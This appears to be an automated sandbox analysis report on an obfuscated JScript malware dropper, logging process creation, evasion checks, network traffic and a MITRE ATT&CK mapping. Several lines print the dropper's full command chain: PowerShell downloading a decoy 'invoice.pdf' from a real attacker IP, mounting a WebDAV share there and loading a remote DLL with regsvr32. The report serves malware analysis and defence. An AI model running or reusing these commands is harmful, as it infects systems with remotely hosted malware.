Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9957.js.csv");ITextStream.WriteLine(" entry:7415 f:cesnsmx");ITextStream.WriteLine(" exec:2 f:cesnsmx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4889			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4983			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4600	Thread sleep count: 4889 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4700	Thread sleep count: 4983 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4984	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4392	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4904	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7584	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1535600520.00000235AA3BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1535017460.00000235AA3BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1536580794.00000235AA3BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2745435607.0000018942454000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2744521541.000001893CE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1536073106.00000235AA358000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+<

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
